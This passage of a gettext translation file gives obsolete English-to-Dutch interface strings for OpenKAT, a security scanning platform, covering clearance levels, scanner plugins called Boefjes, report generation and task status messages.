\"\"\n#~ \"\\n\"\n#~ \"                        In de tabel hieronder staan de instellingen voor \"\n#~ \"deze specifieke Boefje.\\n\"\n#~ \"                        Stel in of wijzig de waarde van de variabelen \"\n#~ \"door de instellingen te bewerken.\\n\"\n#~ \"                    \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    OpenKAT has a permission system that allows \"\n#~ \"administrators to\\n\"\n#~ \"                    configure which users can set a certain clearance \"\n#~ \"level. The will make sure\\n\"\n#~ \"                    that only users that are trusted can start the more \"\n#~ \"aggressive scans.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    OpenKAT heeft een toestemmingssysteem dat beheerders \"\n#~ \"in staat stelt om te configureren welke gebruikers een bepaald \"\n#~ \"vrijwaringsniveau in kunnen stellen. Dit zorgt ervoor dat alleen \"\n#~ \"gebruikers die vertrouwd zijn, de meer agressieve scans kunnen starten.\\n\"\n#~ \"                \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    Before a member is granted the ability to set \"\n#~ \"clearance levels on an object,\\n\"\n#~ \"                    they must first acknowledge and accept the clearance \"\n#~ \"level set by the administrators.\\n\"\n#~ \"                    The maximum scanning level permitted for a member is \"\n#~ \"aligned with the trusted clearance level.\\n\"\n#~ \"                    By acknowledging the trusted clearance level, this \"\n#~ \"member formally agrees to abide by\\n\"\n#~ \"                    this permission and gains the capability to perform \"\n#~ \"scans only up to this trusted clearance level.\\n\"\n#~ \"                    This two-step process ensures that the member \"\n#~ \"operates within authorized boundaries.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    Voordat een gebruiker de mogelijkheid krijgt om \"\n#~ \"vrijwaringsniveaus voor een object in te stellen, moeten ze eerst het \"\n#~ \"vrijwaringsniveau dat door de beheerders is ingesteld erkennen en \"\n#~ \"accepteren. Het maximale vrijwaringsniveau dat voor een gebruiker is \"\n#~ \"toegestaan, is afgestemd op het vertrouwde vrijwaringsniveau. Door het \"\n#~ \"erkennen van het vertrouwde vrijwaringsniveau stemt de gebruiker formeel \"\n#~ \"in met het naleven van deze toestemming en krijgt het de mogelijkheid om \"\n#~ \"scans uit te voeren tot alleen dit vertrouwde vrijwaringsniveau. Dit \"\n#~ \"tweestapsproces zorgt ervoor dat de gebruiker binnen de door zowel de \"\n#~ \"beheerder geautoriseerde en zichzelf geaccepteerde grenzen opereert.\\n\"\n#~ \"                \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                                Unfortunately you cannot continue the \"\n#~ \"onboarding. </br>\\n\"\n#~ \"                                Your administrator has trusted you with a \"\n#~ \"clearance level of <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \"                                You need at least a clearance level of \"\n#~ \"<strong>L%(dns_report_least_clearance_level)s</strong> to scan \"\n#~ \"<strong>%(ooi)s</strong></br>\\n\"\n#~ \"                                Contact your administrator to receive a \"\n#~ \"higher clearance.\\n\"\n#~ \"                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                                Helaas kunt u het onboarding niet \"\n#~ \"voortzetten. </br>\\n\"\n#~ \"Uw beheerder heeft u een vrijwaringsniveau van <strong>L%(tcl)s</strong> \"\n#~ \"toegewezen.</br>\\n\"\n#~ \"U hebt minimaal een vrijwaringsniveau van \"\n#~ \"<strong>L%(dns_report_least_clearance_level)s</strong> nodig om \"\n#~ \"<strong>%(ooi)s</strong> te scannen.</br>\\n\"\n#~ \"Neem contact op met uw beheerder om een hoger vrijwaringsniveau te \"\n#~ \"verkrijgen.\\n\"\n#~ \"                            \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Your administrator has trusted you with a \"\n#~ \"clearance level of <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \"                            You must first accept this clearance level to \"\n#~ \"continue.\\n\"\n#~ \"                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            Uw beheerder heeft u toevertrouwd met een \"\n#~ \"vrijwaringsniveau van <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \" U moet dit vrijwaringsniveau eerst accepteren om verder te gaan.\\n\"\n#~ \"                            \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Accept level L%(tcl)s clearance and \"\n#~ \"responsibility\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            Vrijwaringsniveau L%(tcl)s en \"\n#~ \"verantwoordelijkheid accepteren\\n\"\n#~ \"                        \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Your administrator has <strong>trusted</\"\n#~ \"strong> you with a clearance level of <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \"                            You have also <strong>acknowledged</strong> \"\n#~ \"to use this clearance level of <strong>L%(acl)s</strong>.\\n\"\n#~ \"                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            Uw beheerder heeft u <strong>toevertrouwd</\"\n#~ \"strong> met een vrijwaringsniveau van <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \" U hebt ook <strong>bevestigd</strong> om maximaal dit vrijwaringsniveau \"\n#~ \"van <strong>L%(acl)s</strong> te gebruiken.\\n\"\n#~ \"                            \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    <strong>Disclaimer:</strong>\\n\"\n#~ \"                    Not all DNSRecords are parsed in OpenKAT.\\n\"\n#~ \"                    DNS record types that are parsed and could be \"\n#~ \"displayed in the table are:\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    <strong>Disclaimer:</strong>\\n\"\n#~ \"                    Niet alle DNS-records zijn verwerkt in OpenKAT.\\n\"\n#~ \"                    DNS-recordtypes die zijn verwerkt en in de tabel \"\n#~ \"getoond kunnen worden zijn:\\n\"\n#~ \"                \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            <strong>Warning:</strong>\\n\"\n#~ \"                            Indemnification is not set for this \"\n#~ \"organization.\\n\"\n#~ \"                            Go to the <a \"\n#~ \"href=\\\"%(organization_settings)s\\\">organization settings page</a> to add \"\n#~ \"one.\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            <strong>Waarschuwing:</strong>\\n\"\n#~ \"                            Er is geen vrijwaring voor deze organisatie \"\n#~ \"ingesteld.\\n\"\n#~ \"                            Ga naar de <a \"\n#~ \"href=\\\"%(organization_settings)s\\\">-pagina met organisatie-instellingen</\"\n#~ \"a> om die toe te voegen.\\n\"\n#~ \"                        \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    An overview of \\\"%(organization_name)s\\\" its \"\n#~ \"members.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    Een overzicht van de leden van \"\n#~ \"‘%(organization_name)s’.\\n\"\n#~ \"                \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            An overview of \\\"%(organization_name)s\\\". This shows general \"\n#~ \"information and its settings.\\n\"\n#~ \"          \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"            Een overzicht van ‘%(organization_name)s’. Dit toont algemene \"\n#~ \"informatie en de bijbehorende instellingen.\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"              <strong>Warning:</strong>\\n\"\n#~ \"              Indemnification is not set for this organization.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"              <strong>Waarschuwing:</strong>\\n\"\n#~ \"              Voor deze organisatie is geen vrijwaring ingesteld.\\n\"\n#~ \"            \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"              This means that this object will be scanned by Boefjes with \"\n#~ \"scan level\\n\"\n#~ \"              %(scan_level)s and lower. Setting the clearance level from \"\n#~ \"“declared”\\n\"\n#~ \"              to “inherit” means that this object will inherit its level \"\n#~ \"from neighbouring\\n\"\n#~ \"              objects. This means that the clearance level might stay the \"\n#~ \"same, increase,\\n\"\n#~ \"              or decrease depending on other declared clearance levels. \"\n#~ \"Clearance levels\\n\"\n#~ \"              of objects that inherit from this clearance level will also \"\n#~ \"be recalculated.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"              Dit betekent dat dit object door Boefjes zal worden gescand \"\n#~ \"met scanniveau\\n\"\n#~ \"              %(scan_level)s en lager. Het instellen van het \"\n#~ \"vrijwaringsniveau van ‘verklaard’\\n\"\n#~ \"              op ‘erven’ betekent dat dit object zijn niveau zal erven \"\n#~ \"van naburige\\n\"\n#~ \"              objecten. Dit betekent dat het vrijwaringsniveau gelijk kan \"\n#~ \"blijven, kan toenemen,\\n\"\n#~ \"              of dalen, afhankelijk van andere gedeclareerde \"\n#~ \"vrijwaringsniveaus. Vrijwaringsniveaus\\n\"\n#~ \"              van objecten die van dit vrijwaringsniveau erven zullen ook \"\n#~ \"opnieuw worden berekend.\\n\"\n#~ \"            \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                This object has a clearance level of \\\"L0\\\". This means \"\n#~ \"that this object will not be scanned by any Boefje until that\\n\"\n#~ \"                Boefje is run manually for this object again. Objects \"\n#~ \"with a clearance level higher than \\\"L0\\\" will be scanned automatically \"\n#~ \"by Boefjes with\\n\"\n#~ \"                corresponding scan levels.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                Dit object heeft een vrijwaringsniveau van ‘L0’. Dit \"\n#~ \"betekent dat dit object door geen enkele Boefje zal worden gescand totdat \"\n#~ \"dit\\n\"\n#~ \"                Boefje opnieuw handmatig wordt uitgevoerd voor dit \"\n#~ \"object. Objecten met een vrijwaringsniveau hoger dan ‘L0’ zullen \"\n#~ \"automatisch worden gescand door Boefjes met\\n\"\n#~ \"                overeenkomstige scanniveaus.\\n\"\n#~ \"            \"\n\n#~ msgid \"Download PDF\"\n#~ msgstr \"PDF downloaden\"\n\n#~ msgid \"Download JSON\"\n#~ msgstr \"JSON downloaden\"\n\n#~ msgid \"This is the OpenKAT\"\n#~ msgstr \"Dit is het OpenKAT\"\n\n#~ msgid \"Created with date from: \"\n#~ msgstr \"Aangemaakt met de datum van: \"\n\n#~ msgid \"Created on: \"\n#~ msgstr \"Aangemaakt op: \"\n\n#~ msgid \"Created by: \"\n#~ msgstr \"Aangemaakt door: \"\n\n#~ msgid \"This sector contains\"\n#~ msgstr \"Deze sector bevat\"\n\n#~ msgid \"scanned organizations.\"\n#~ msgstr \"gescande organisaties.\"\n\n#~ msgid \"A total of \"\n#~ msgstr \"Een totaal van \"\n\n#~ msgid \" critical vulnerabilities have been identified.\"\n#~ msgstr \" kritieke kwetsbaarheden zijn geïdentificeerd.\"\n\n#~ msgid \"There are no boefjes available within the current clearance level of\"\n#~ msgstr \"\"\n#~ \"Er zijn geen Boefjes beschikbaar binnen het huidige vrijwaringsniveau van\"\n\n#~ msgid \"Or if you have the authorization, upgrade the clearance level of\"\n#~ msgstr \"\"\n#~ \"Of, als u de autorisatie heeft, verhoog dan het vrijwaringsniveau van\"\n\n#~ msgid \"Scan frequency\"\n#~ msgstr \"Scanfrequentie\"\n\n#~ msgid \"\"\n#~ \"Specify the scanning frequency for this Boefje in minutes. The default is \"\n#~ \"24 hours. For example: 5 minutes will let the boefje scan every 5 minutes.\"\n#~ msgstr \"\"\n#~ \"Bepaal de scannerfrequentie voor dit Boefje in minuten. De standaard is \"\n#~ \"24 uur. Bijvoorbeeld: 5 minuten laat het boefje om de 5 minuten scannen.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        An overview of the tasks for %(organization)s. \"\n#~ \"Tasks are divided in Boefjes and Normalizers.\\n\"\n#~ \"                        Boefjes scan objects and Normalizers dispatch on \"\n#~ \"the output mime-type.\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                        Een overzicht van de taken voor %(organization)s. \"\n#~ \"Taken zijn verdeeld in Boefjes en Normalizers.\\n\"\n#~ \"                        Boefjes scannen objecten en Normalizers verzenden \"\n#~ \"op de uitvoer mime-type.\\n\"\n#~ \"                    \"\n\n#~ msgid \"Concatenated Report\"\n#~ msgstr \"Samengevoegd rapport\"\n\n#~ msgid \"\"\n#~ \"Define a custom name format for your report(s). This format will be \"\n#~ \"applied to all generated (sub)reports.\"\n#~ msgstr \"\"\n#~ \"Definieer een aangepast naamsjabloon voor uw rapport. Dit sjabloon zal \"\n#~ \"worden toegepast op alle gegenereerde (sub)rapporten.\"\n\n#~ msgid \"Subreports name format\"\n#~ msgstr \"Subrapportnaamformaat\"\n\n#~ msgid \"Input Objects\"\n#~ msgstr \"Input objecten\"\n\n#~ msgid \"Close children report object details\"\n#~ msgstr \"Onderliggende rapportobjectdetails sluiten\"\n\n#~ msgid \"Open children report object details\"\n#~ msgstr \"Onderliggende rapportobjectdetails openen\"\n\n#~ msgid \"Subreports details:\"\n#~ msgstr \"Details subrapporten :\"\n\n#~ msgid \"Subreports\"\n#~ msgstr \"Subrapporten\"\n\n#~ msgid \"Shows subreport details\"\n#~ msgstr \"Subrapportdetails tonen\"\n\n#~ msgid \"View all subreports\"\n#~ msgstr \"Alle subrapporten bekijken\"\n\n#~ msgid \"Input\"\n#~ msgstr \"Invoer\"\n\n#, python-format\n#~ msgid \"Showing %(length)s of %(total)s subreports\"\n#~ msgstr \"%(length)s van %(total)s subrapporten getoond\"\n\n#~ msgid \"Subreports:\"\n#~ msgstr \"Subrapporten:\"\n\n#~ msgid \"Rerun successful\"\n#~ msgstr \"Opnieuw genereren met succes voltooid\"\n\n#~ msgid \"No related objects added to\"\n#~ msgstr \"Geen gerelateerde objecten toegevoegd aan\"\n\n#~ msgid \"Use the button below to add a related object.\"\n#~ msgstr \"Gebruik de knop hieronder om een gerelateerd object toe te voegen.\"\n\n#~ msgid \"Accounts\"\n#~ msgstr \"Accounts\"\n\n#~ msgid \"\"\n#~ \"Please choose a start date, time and recurrence for scheduling your \"\n#~ \"report(s). If you select a date on the 28th-31st of the month, it will \"\n#~ \"always be scheduled on the last day of the month.\"\n#~ msgstr \"\"\n#~ \"Kies voor uw rapport(en) een startdatum, -tijd en herhaling. Als u een \"\n#~ \"datum kiest tussen de 28e en 31e van de maand, zal het altijd op de \"\n#~ \"laatste dag van de maand worden ingepland.\"\n\n#~ msgid \"\"\n#~ \"The date you select will be the reference date for the data set for your \"\n#~ \"report. Please allow for up to 24 hours for your report to be ready.\"\n#~ msgstr \"\"\n#~ \"De datum die u kiest zal de referentiedatum zijn voor de gegevensset voor \"\n#~ \"uw rapport. Het kan tot 24 uur duren voordat uw rapport gereed is.\"\n\n#~ msgid \"\"\n#~ \"Give your report(s) a custom name and optionally add the reports' \"\n#~ \"reference date to the name. To do so you can select a standard option or \"\n#~ \"use a <a href=\\\"https://strftime.org/\\\" target=\\\"_blank\\\" \"\n#~ \"rel=\\\"noopener\\\">Python strftime code</a> in the report name.\"\n#~ msgstr \"\"\n#~ \"Geef uw rapport(en) een aangpaste naam en voeg optioneel de \"\n#~ \"referentiedatum toe. Om dit te doen kunt u een standaard optie selecteren \"\n#~ \"of een <a href=\\\"https://strftime.org/\\\" target=\\\"_blank\\\" \"\n#~ \"rel=\\\"noopener\\\">Python strftime-code</a> in de rapportnaam gebruiken.\"\n\n#, python-brace-format\n#~ msgid \"Concatenated Report for {oois_count} objects\"\n#~ msgstr \"Samengesteld rapport voor {oois_count} objecten\"\n\n#, python-brace-format\n#~ msgid \"Concatenated Report for {ooi}\"\n#~ msgstr \"Samengesteld rapport voor {ooi}\"\n\n#, python-brace-format\n#~ msgid \"{report_type} for {oois_count} objects\"\n#~ msgstr \"{report_type} voor {oois_count} objecten\"\n\n#, python-brace-format\n#~ msgid \"{report_type} for {ooi}\"\n#~ msgstr \"{report_type} voor {ooi}\"\n\n#~ msgid \"Sector Report\"\n#~ msgstr \"Sectorrapport\"\n\n#~ msgid \"Empty name should not be possible.\"\n#~ msgstr \"Lege naam zou niet mogelijk moeten zijn.\"\n\n#~ msgid \"Week %W, %Y\"\n#~ msgstr \"Week %W, %Y\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                                        This report consists of \"\n#~ \"%(counter)s subreport with the following report type and object.\\n\"\n#~ \"                                    \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                                        This report consists of \"\n#~ \"%(counter)s subreports with the following report types and objects.\\n\"\n#~ \"                                    \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                                        Dit rapport bestaat uit \"\n#~ \"%(counter)s sub-rapport met het volgende rapporttype en object.\\n\"\n#~ \"                                    \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                                        Dit rapport bestaat uit \"\n#~ \"%(counter)s sub-rapporten met de volgende rapporttypen en objecten.\\n\"\n#~ \"                                    \"\n\n#~ msgid \"Report Name\"\n#~ msgstr \"Rapportnaam\"\n\n#~ msgid \"No findings have been found.\"\n#~ msgstr \"Er zijn geen bevindingen gevonden.\"\n\n#~ msgid \"Currently there are no findings for OOI\"\n#~ msgstr \"Er zijn geen bevindingen voor het object\"\n\n#~ msgid \"Editing this boefje is not allowed because it is static.\"\n#~ msgstr \"Dit Boefje bewerken is niet toegestaan, omdat het statisch is.\"\n\n#~ msgid \"Certificate is not expired\"\n#~ msgstr \"Certificaat is niet verlopen\"\n\n#~ msgid \"\"\n#~ \"To make the report names more descriptive, you can include placeholders \"\n#~ \"for the object name, the report type and/or the reference date. For \"\n#~ \"subreports and reports over a single object, use the placeholder \"\n#~ \"\\\"{ooi}\\\" for the object name, \\\"{report type}\\\" for the report type and \"\n#~ \"use a <a href=\\\"https://strftime.org/\\\" target=\\\"_blank\\\" \"\n#~ \"rel=\\\"noopener\\\">Python strftime code</a> for the reference date. For \"\n#~ \"reports over multiple objects, use \\\"{oois_count}\\\" for the number of \"\n#~ \"objects in the report.\"\n#~ msgstr \"\"\n#~ \"Om de rapportnamen meer informatief te maken, kunt u plaatshouders \"\n#~ \"opnemen voor de objectennaam, het rapporttype en/of de referentiedatum. \"\n#~ \"Gebruik voor sub-rapporten en rapporten over een enkel object, de \"\n#~ \"plaatshouder ‘{ooi}’, ‘{report type}’ voor het rapporttype en <a \"\n#~ \"href=\\\"https://strftime.org/\\\" target=\\\"_blank\\\" rel=\\\"noopener\\\">Python \"\n#~ \"strftime-code</a> voor de referentiedatum van de objectnaam. Gebruik voor \"\n#~ \"rapporten over meerdere objecten, ‘{oois_count}’ voor het aantal objecten \"\n#~ \"in het rapport.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"For example, the format \\\"{report type} for {ooi} at %%x\\\" could \"\n#~ \"generate: \\\"DNS Report for example.com at 01/01/25\\\".\"\n#~ msgstr \"\"\n#~ \"Bijvoorbeeld, het format ‘{report type} voor {ooi} op %%x’ genereert dit \"\n#~ \"resultaat: ‘DNS-rapport vior example.com op 01/01/25’.\"\n\n#~ msgid \"Select which objects you want to include in your report.\"\n#~ msgstr \"Selecteer de objecten die u op wilt nemen in het rapport.\"\n\n#~ msgid \"Rerun all bits for all my organizations\"\n#~ msgstr \"Draai nogmaals alle bits voor al mijn organisaties\"\n\n#~ msgid \"Select your language\"\n#~ msgstr \"Taal selecteren\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Current language is %(current_language)s. Choose your preferred language.\"\n#~ msgstr \"\"\n#~ \"De huidige taal is %(current_language)s. Kies de taal van uw voorkeur.\"\n\n#~ msgid \"Critical vulnerabilities\"\n#~ msgstr \"Kritieke kwetsbaarheden\"\n\n#~ msgid \"This is the OpenKAT Sector rapport.\"\n#~ msgstr \"Dit is het OpenKAT-sectorrapport.\"\n\n#~ msgid \"Created with date from:\"\n#~ msgstr \"Gemaakt met datum van:\"\n\n#~ msgid \"Scanned organizations.\"\n#~ msgstr \"Gescande organisaties.\"\n\n#~ msgid \"An overview of all your generated reports.\"\n#~ msgstr \"Een overzicht van al uw gegenereerde rapporten.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                                    This report consists of %(counter)s \"\n#~ \"subreport with the following report type and object.\\n\"\n#~ \"                                \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                                    This report consists of %(counter)s \"\n#~ \"subreports with the following report types and objects.\\n\"\n#~ \"                                \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                                    Dit rapport bestaat %(counter)s \"\n#~ \"subrapport met het volgende rapporttype en object.\\n\"\n#~ \"                                \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                                    Dit rapport bestaat %(counter)s \"\n#~ \"subrapporten met het volgende rapporttypen en objecten.\\n\"\n#~ \"                                \"\n\n#~ msgid \"Good job! All suggested plugins are enabled\"\n#~ msgstr \"Goed gedaan! Alle voorgestelde plug-ins zijn ingeschakeld\"\n\n#~ msgid \"\"\n#~ \"This report requires at least one of the following plugins to be enabled \"\n#~ \"to generate the report:\"\n#~ msgstr \"\"\n#~ \"Dit rapport vereist dat tenminste één van de volgende plug-ins is \"\n#~ \"geactiveerd om het rapport te genereren:\"\n\n#~ msgid \"Report ID\"\n#~ msgstr \"Rapport-id\"\n\n#~ msgid \"Recent\"\n#~ msgstr \"Recent\"\n\n#~ msgid \"Presets\"\n#~ msgstr \"Voorinstellingen\"\n\n#~ msgid \"Folders\"\n#~ msgstr \"Mappen\"\n\n#~ msgid \"A HTTP error occurred. Check logs for more info.\"\n#~ msgstr \"\"\n#~ \"Er is een HTTP-fout opgetreden. Controleer de logboeken voor meer \"\n#~ \"informatie.\"\n\n#, python-format\n#~ msgid \"Report type '%s' does not exist.\"\n#~ msgstr \"Rapporttype ‘%s’ bestaat niet.\"\n\n#, python-format\n#~ msgid \"Findings report for %(name)s\"\n#~ msgstr \"Bevindingenrapport voor %(name)s\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"These are the findings of a OpenKAT-analysis on %(observed_at)s. Click a \"\n#~ \"finding for more detailed information about the issue, its origin, \"\n#~ \"severity and possible solutions.\"\n#~ msgstr \"\"\n#~ \"Dit zijn de bevindingen van een OpenKAT-analyse op %(observed_at)s. Klik \"\n#~ \"op een bevinding voor gedetailleerde informatie over het probleem, de \"\n#~ \"oorsprong, ernst en mogelijke oplossingen.\"\n\n#, python-format\n#~ msgid \"A report for %(name)s wasn't found.\"\n#~ msgstr \"Kan rapport voor %(name)s niet vinden.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Perhaps it never was, perhaps it just didn't exist on %(observed_at)s \"\n#~ \"<br> Try some other dates!\"\n#~ msgstr \"\"\n#~ \"Misschien heeft het nooit bestaan, misschien alleen niet op \"\n#~ \"%(observed_at)s<br>. Probeer eens een ander tijdstip!\"\n\n#~ msgid \"Generate findings report\"\n#~ msgstr \"Bevindingenrapport genereren\"\n\n#~ msgid \"You can't generate a report for an OOI on a date in the future.\"\n#~ msgstr \"\"\n#~ \"Een rapport kan niet voor een toekomstig tijdstip worden aangemaakt.\"\n\n#~ msgid \"Findings report\"\n#~ msgstr \"Bevindingenrapport\"\n\n#~ msgid \"Generating report failed. See Keiko logs for more information.\"\n#~ msgstr \"\"\n#~ \"Het genereren van het rapport is mislukt. Zie de Keiko-logboeken voor \"\n#~ \"meer informatie.\"\n\n#~ msgid \"\"\n#~ \"Timeout reached generating report. See Keiko logs for more information.\"\n#~ msgstr \"\"\n#~ \"Time-out bereikt bij genereren van rapport. Zie Keiko-logboeken voor meer \"\n#~ \"informatie.\"\n\n#~ msgid \"\"\n#~ \"Boefjes gather factual information, such as by calling an external \"\n#~ \"scanning tool like nmap or using a database like shodan.\"\n#~ msgstr \"\"\n#~ \"Boefjes verzamelen feitelijke informatie, bijvoorbeeld door een externe \"\n#~ \"scantool zoals Nmap te gebruiken of het gebruik van een database zoals \"\n#~ \"Shodan.\"\n\n#~ msgid \" Details\"\n#~ msgstr \" Details\"\n\n#~ msgid \"Action\"\n#~ msgstr \"Actie\"\n\n#~ msgid \"Unset\"\n#~ msgstr \"Niet ingevuld\"\n\n#~ msgid \"Failed fetching settings for {}. Is the Katalogus up?\"\n#~ msgstr \"Ophalen van instellingen {} mislukt. Is de Katalogus actief?\"\n\n#~ msgid \"Before enabling, please set the required settings for '{}'.\"\n#~ msgstr \"Stel vóór het inschakelen de vereiste instellingen in voor ‘{}’.\"\n\n#~ msgid \"Currently filtered on:\"\n#~ msgstr \"Momenteel gefilterd op:\"\n\n#~ msgid \"Task statistics: \"\n#~ msgstr \"Taakstatistieken: \"\n\n#~ msgid \"Object tree\"\n#~ msgstr \"Objectenboom\"\n\n#~ msgid \"Crisis room:\"\n#~ msgstr \"Crisiscentrum:\"\n\n#~ msgid \"OpenKAT Aggregate Report\"\n#~ msgstr \"OpenKAT Geaggregeerd Rapport\"\n\n#~ msgid \"for\"\n#~ msgstr \"voor\"\n\n#~ msgid \"OpenKAT Report\"\n#~ msgstr \"OpenKAT-rapport\"\n\n#~ msgid \"Select Objects\"\n#~ msgstr \"Selecteer objecten\"\n\n#~ msgid \"Select OOIs\"\n#~ msgstr \"Selecteer OOI’s\"\n\n#~ msgid \"RPKI Not expired\"\n#~ msgstr \"RPKI niet verlopen\"\n\n#~ msgid \"Please select an OOI to start scan.\"\n#~ msgstr \"Selecteer een OOI om de scan te starten.\"\n\n#~ msgid \"Task not found.\"\n#~ msgstr \"Taak niet gevonden.\"\n\n#~ msgid \"Connectivity issues with Mula.\"\n#~ msgstr \"Verbindingsproblemen met Mula.\"\n\n#~ msgid \"Task queue is full, please try again later.\"\n#~ msgstr \"Wachtrij is vol, probeer het later opnieuw.\"\n\n#~ msgid \"Task is invalid.\"\n#~ msgstr \"Taak is ongeldig.\"\n\n#~ msgid \"Task already queued.\"\n#~ msgstr \"Taak al in de wachtrij.\"\n\n#~ msgid \"Observed by\"\n#~ msgstr \"Gezien door\"\n\n#~ msgid \"Select status\"\n#~ msgstr \"Status selecteren\"\n\n#~ msgid \"Success\"\n#~ msgstr \"Geslaagd\"\n\n#~ msgid \"No tasks found for this object.\"\n#~ msgstr \"Geen taken gevonden voor dit object.\"\n\n#~ msgid \"No scans found for this object.\"\n#~ msgstr \"Geen scans gevonden voor dit object.\"\n\n#~ msgid \"Stats - Last 24 hours\"\n#~ msgstr \"Statistieken – Afgelopen 24 uur\"\n\n#~ msgid \"all\"\n#~ msgstr \"alle\"\n\n#~ msgid \"Fetching tasks failed: no connection with scheduler\"\n#~ msgstr \"Ophalen van taken mislukt: geen verbinding met scheduler\"\n\n#~ msgid \"Selected objects:\"\n#~ msgstr \"Geselecteerde objecten:\"\n\n#~ msgid \"Latest plugin settings:\"\n#~ msgstr \"Laatste plug-ininstellingen:\"\n\n#~ msgid \"Overview of settings:\"\n#~ msgstr \"Overzicht van instellingen:\"\n\n#~ msgid \"For this tutorial we suggest a DNS-report to get you started.\"\n#~ msgstr \"Deze uitleg maakt gebruik van het DNS-rapport.\"\n\n#~ msgid \"DNS report\"\n#~ msgstr \"DNS-rapport\"\n\n#~ msgid \"User overview:\"\n#~ msgstr \"Gebruikersoverzicht:\"\n\n#~ msgid \"Boefjes overview:\"\n#~ msgstr \"Boefjes-overzicht:\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view reports for each of your current objects. For \"\n#~ \"specific reports you can choose one of the available report types and \"\n#~ \"generate a report. Such as a pen-test, a DNS-report or a mail report to \"\n#~ \"give some examples.\"\n#~ msgstr \"\"\n#~ \"Binnen OpenKAT kunt u rapporten bekijken voor elk van uw huidige \"\n#~ \"objecten. Voor specifieke rapporten kunt u een van de beschikbare \"\n#~ \"rapporttypes kiezen en een rapport genereren. Zoals een pentest, een DNS-\"\n#~ \"rapport of een Mailrapport.\"\n\n#~ msgid \"\"\n#~ \"A lot of things can be an object within the scope of OpenKAT. For example \"\n#~ \"a mailserver, an ip-address, a URL, a DNS record, a hostname or a network \"\n#~ \"to name a few.  While these objects can be related to each other they are \"\n#~ \"all objects within OpenKAT that can be scanned to gain valuable insight.\"\n#~ msgstr \"\"\n#~ \"Veel dingen kunnen een object zijn binnen het bereik van OpenKAT. \"\n#~ \"Bijvoorbeeld een mailserver, een IP-adres, een URL, een DNS-record, een \"\n#~ \"hostnaam of een netwerk om er maar een paar te noemen.  Hoewel deze \"\n#~ \"objecten aan elkaar gerelateerd kunnen zijn, zijn het allemaal objecten \"\n#~ \"binnen OpenKAT die gescand kunnen worden om waardevolle inzichten te \"\n#~ \"verkrijgen.\"\n\n#~ msgid \"\"\n#~ \"Most objects have dependencies on the existence of other objects. For \"\n#~ \"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n#~ \"qualified domain name) and ip-address. OpenKAT collects these additional \"\n#~ \"object automatically when possible. By running plugins to collect or \"\n#~ \"extract this data.\"\n#~ msgstr \"\"\n#~ \"De meeste objecten zijn afhankelijk van het bestaan van andere objecten. \"\n#~ \"Een URL moet bijvoorbeeld verbonden zijn met een netwerk, hostnaam, FQDN \"\n#~ \"(Fully Qualified Domain Name) en IP-adres. OpenKAT verzamelt deze \"\n#~ \"aanvullende objecten waar mogelijk automatisch, door plug-ins uit te \"\n#~ \"voeren die deze gegevens verzamelen of extraheren.\"\n\n#~ msgid \"\"\n#~ \"The findings report provides an overview of the identified findings on \"\n#~ \"the scanned systems. For each finding it shows the risk level and the \"\n#~ \"number of occurrences of the finding. Under the 'Details' section a \"\n#~ \"description, impact, recommendation and location of the finding can be \"\n#~ \"found. The risk level may be different for your specific environment.\"\n#~ msgstr \"\"\n#~ \"Het 